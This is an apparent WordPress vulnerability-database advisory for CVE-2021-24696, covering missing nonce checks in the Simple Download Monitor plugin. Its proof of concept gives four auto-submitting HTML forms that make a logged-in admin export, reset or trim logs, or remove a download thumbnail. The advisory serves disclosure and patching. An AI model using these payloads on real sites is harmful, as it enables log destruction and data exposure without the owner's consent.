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WordPress Plugin Vulnerabilities

Simple Download Monitor < 3.9.9 - Multiple CSRF

Description

The plugin does not enforce nonce checks, which could allow attackers to perform CSRF attacks to 1) make admins export logs to exploit a separate log disclosure vulnerability (fixed in 3.9.6), 2) delete logs (fixed in 3.9.9), 3) remove thumbnail image from downloads

Proof of Concept

To export logs (which could then be downloaded by unauthenticated users using the Unauthenticated Log Access issue) - Fixed in 3.9.6
<form action="https://example.com/wp-admin/edit.php?post_type=sdm_downloads&page=sdm-logs&action=sdm-logs-export" method="post" id="csrf">
<input type="hidden" name="sdm_stats_start_date" value="2021-08-31">
<input type="hidden" name="sdm_stats_end_date" value="2021-08-31">
<input type="hidden" name="sdm_export_log_entries" value="1">
</form>
<script>csrf.submit()</script>

To delete logs (fixed in 3.9.9):
<form action="https://example.com/wp-admin/edit.php?post_type=sdm_downloads&page=sdm-logs" method="post" id="csrf">
<input type="hidden" name="sdm_reset_log_entries" value="1">
</form>
<script>csrf.submit()</script>

<form action="https://example.com/wp-admin/edit.php?post_type=sdm_downloads&page=sdm-logs" method="post" id="csrf">
<input type="hidden" name="sdm_trim_log_entries" value="1">
<!-- older than 0 days = basically all -->
<input type="hidden" name="sdm_trim_log_entries_day" value="0">
</form>
<script>csrf.submit()</script>


To remove thumbnail image from downloads (fixed in 3.9.9)
<form action="https://example.com/wp-admin/admin-ajax.php" method="post" id="csrf">
<input type="hidden" name="action" value="sdm_remove_thumbnail_image">
<!-- assuming download 612 has thumbnail -->
<input type="hidden" name="post_id_del" value="612">
</form>
<script>csrf.submit()</script> 

Affects Plugins

simple-download-monitor
Fixed in version 3.9.11

References

CVE
CVE-2021-24696

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

apple502j

Submitter

apple502j

Verified

Yes

WPVDB ID
e94772af-39ac-4743-a556-52351ebda9fe

Timeline

Publicly Published

2021-12-21 (about 1 years ago)

Added

2021-12-21 (about 1 years ago)

Last Updated

2022-04-13 (about 9 months ago)

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